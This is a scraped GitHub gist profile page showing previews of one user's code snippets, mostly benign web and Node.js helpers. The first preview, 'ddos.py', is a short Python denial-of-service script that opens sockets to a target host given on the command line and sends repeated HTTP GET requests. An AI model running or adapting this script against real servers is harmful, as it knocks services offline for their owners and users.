Skip to content

Instantly share code, notes, and snippets.

View blackavec's full-sized avatar
🎡
Coding & Composing

Mahan Sagharchi blackavec

🎡
Coding & Composing
View GitHub Profile
@blackavec
blackavec / ddos.py
Created August 3, 2016 03:52 — forked from tinnguyenz/ddos.py
Python ddos script
import socket, sys, os
print "][ Attacking " + sys.argv[1] + " ... ]["
print "injecting " + sys.argv[2];
def attack():
#pid = os.fork()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((sys.argv[1], 80))
print ">> GET /" + sys.argv[2] + " HTTP/1.1"
s.send("GET /" + sys.argv[2] + " HTTP/1.1\r\n")
s.send("Host: " + sys.argv[1] + "\r\n\r\n");

Most active GitHub users in Thailand

The count of contributions (summary of Pull Requests, opened issues and commits) to public repos at GitHub.com from Wed, 29 Jul 2015 01:52:41 GMT till Fri, 29 Jul 2016 01:52:41 GMT.

Only first 1000 GitHub users according to the count of followers are taken. This is because of limitations of GitHub search. Sorting algo in pseudocode:

githubUsers
 .filter(user => user.followers > 6)
@blackavec
blackavec / helpers.php
Created June 27, 2016 06:29
Dummy code for checking user's role in order to verify it's permission to specific route
if (!function_exists('check_route_user_access')) {
/**
* Checks if current user has right access to following route
*
* @param $route
*
* @return bool
*/
function check_route_user_access($route) : bool
{
var socketsRepo = require(your db handler repository class)();
base.io.on('connection', function (socket) {
var region = socket.handshake.query.region || null;
// the codes when connection just connected
socketsRepo.insertSocket(socket.session.user._id, socket.id, region).then(function () {
socket.on('disconnect', function () {
socketsRepo.deleteSocket(socket.id).then(function () {
@blackavec
blackavec / app.js
Created May 17, 2016 10:44 — forked from narirou/app.js
express.js + pjax workflow
var express = require( 'express' ),
bodyParser = require( 'body-parser' ),
pjax = require( './pjax-helper' );
var app = express();
app.set( 'views', __dirname + '/views' );
app.set( 'view engine', 'jade' );
app.use( pjax() );
require('./bootstrap');
var cluster = require('cluster');
var numCPUs = require('os').cpus().length;
if (cluster.isMaster) {
for (var i = 0; i < numCPUs; i++) {
cluster.fork();
}
(function(document, window){
// good way to init the framework
})(document, window)